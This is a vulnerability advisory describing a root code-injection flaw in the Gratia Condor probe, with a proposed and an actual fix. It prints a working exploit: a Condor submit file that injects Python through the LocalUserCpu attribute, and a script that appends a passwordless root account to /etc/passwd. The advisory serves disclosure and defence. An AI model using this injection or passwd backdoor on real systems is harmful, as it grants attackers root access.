GRATIA-CONDOR-2010-0003


Summary:

 

Any user that can submit Condor jobs on the host running Gratia Condor probe, can execute arbitrary code as the root user.


Component Vulnerable Versions Platform Availability Fix Available
condor_meter 1.04.4d-1
1.06.13b-1
all not known to be publicly available no
Status Access Required Host Type Required Effort Required Impact/Consequences
Verified local ordinary user with Condor submission privilege any low high
Fixed Date Credit
  Rohit Koul

Access Required:

local ordinary user with Condor submission privilege

The vulnerability requires local access to the machine with the ability to submit Condor jobs.

Effort Required:

low

Exploiting this vulnerability requires the attacker to submit a Condor job with unusual job attributes in the submit file.

Impact/Consequences:

high

The impact of this vulnerability is that the attacker gains root access to the host.

Full Details:

 

condor_meter.pl gathers job metrics from log files written by Condor. It also uses the command condor_history to gather more information in some cases. The attributes are then used to create a Python script file that is executed to submit the data to the Gratia collector. However, the probe simply uses the ClassAd attributes to create its records without validating the values.

The Condor architecture allows a user to specify attributes such as LocalSysCpu, LocalUserCpu, CumulativeSuspensionTime in the submit file, that Condor normally inserts into the job's ClassAd. If the user specifies these attributes, Condor does not overwrite them. Also, the Gratia Condor probe performs no validations on the ClassAd attributes making it possible for an attacker to inject malicious strings and cause execution of arbitrary Python code.

An example Condor submit file exploiting the LocalUserCpu ClassAd attribute is shown below. The exploit executes the file /tmp/evil as root. The flow of the injected arbitrary code that gets executed is in bold. The attack works by setting the LocalUserCpu attribute to supply the injection data. There are other attributes that could be used as well.

      Executable=sleep
      Universe=vanilla
      input=data
      output=out
      error=error
      log=log
      +LocalUserCpu="28.00,'LocalUserCpu');import os;os.system('/tmp/evil');#"
      queue 1  
   

The Condor history log for the sample job looks like

      MyType = "Job"
      TargetType = "Machine"
      ClusterId = 19
      RemoteSysCpu="0.000000"
      LocalSysCpu="0.000000"
      LocalUserCpu="28.00,'LocalUserCpu');import os;os.system('/tmp/evil');#"
      ....
      ....
   

The Condor probe retrieves the attributes from the Condor logs. The corresponding code executed by Condor probe is as shown below.

      import Gratia
      Gratia.RegisterReporter("condor_meter.pl","$Revision: 3277 $ (tag 1.04.4d-1)")
      Gratia.RegisterService("Condor", "7.2.4 Jun 16 2009 BuildID: 159529  / 
      I386-LINUX_RHEL5 ")
      Gratia.setProbeBatchManager("condor")
      Gratia.Initialize()
      # initialize and populate r
      r = Gratia.UsageRecord("Batch")
      ....
      ....
      r.TimeDuration(28.00,'LocalUserCpu');import os;os.system('/tmp/evil');#, "LocalUserCpu")
      r.TimeDuration(0.000000, "RemoteSysCpu")
      r.TimeDuration(0.000000, "LocalSysCpu")
      ....
      ....
      ....
      Gratia.Send(r)
   

The generated Python code executes /tmp/evil as root and could be used to cause serious damage to the system. For example, the /tmp/evil script could attack the password file which is used to control what accounts are available on the host and their authentication information. The following script adds a new account with root privileges, to the password file.

     #!/bin/bash
     # Filename: /tmp/evil

     echo evilroot::0:0::/tmp:/bin/bash >> /etc/passwd;
   

Cause:

Code injection
Improper data validation

This vulnerability is caused due to improper data validation by the Gratia Condor probe while running a generated Python script with root privileges. This allows an attacker to inject arbitrary python code in the script and make it run as root.

Proposed Fix:

 

One possible fix is to validate the sanity of the job attributes. The attributes that are supposed to be numeric values should be validated to be numeric before use. Similarly, attributes expected to be string values should be properly escaped according to Python's escaping rules before inserting into the Python script.

An example Perl function to perform the quoting is shown here:

     sub PythonStringLiteral
     {
         my $s = shift;

         $s =~ s/\\/\\\\/g;    #     \     -> \\
         $s =~ s/'/\\'/g;      #     '     -> \'
         $s =~ s/\n/\\n/g;     # new-line  -> \n
                               # non-print -> \xHH (hexidecimal constant)
         $s =~ s/([^[:print:]])/sprintf '\\x%02x', ord $1/ge;

         # return string with non-interpolating single-quotes
         return "'$s'";
     }
   

Another possible fix is to disallow usage of quotes in the attribute values. However this, though relatively easy to implement, is unnecessarily restrictive and hence is not recommended.

Privileges should be dropped before executing the Python code as a preventative measure to limit the damage that can be done if an attacker injects code due to a flaw.

One could also argue that Condor should prohibit users from specifying Condor inserted attributes by placing these in a separate namespace that users cannot modify, or using a list of protected attribute names. This would prevent an attacker from injecting malicious strings using job attributes that are normally created by Condor.

In general, It is usually a bad programming practice to generate code on the fly and execute it. Such a practice makes it relatively easier for an attacker to inject and execute arbitrary code, if there is a flaw in the way the code is generated. Instead of having the Gratia Condor probe encode the data from the Condor system as Python code, it should encode the data as a sanitized data file that is processed by a program that takes the contents of this file and inserts the data into Gratia.

Actual Fix:

 

Subroutines were added to the condor_meter.pl script to validate the sanity of the attributes it collected. Attributes that are supposed to be numeric values were validated to be numeric before use. Similarly, attributes expected to be string values were properly escaped using the PythonStringLiteral subroutine.

Acknowledgment:

 

This research funded in part by Department of Homeland Security grant FA8750-10-2-0030 (funded through AFRL).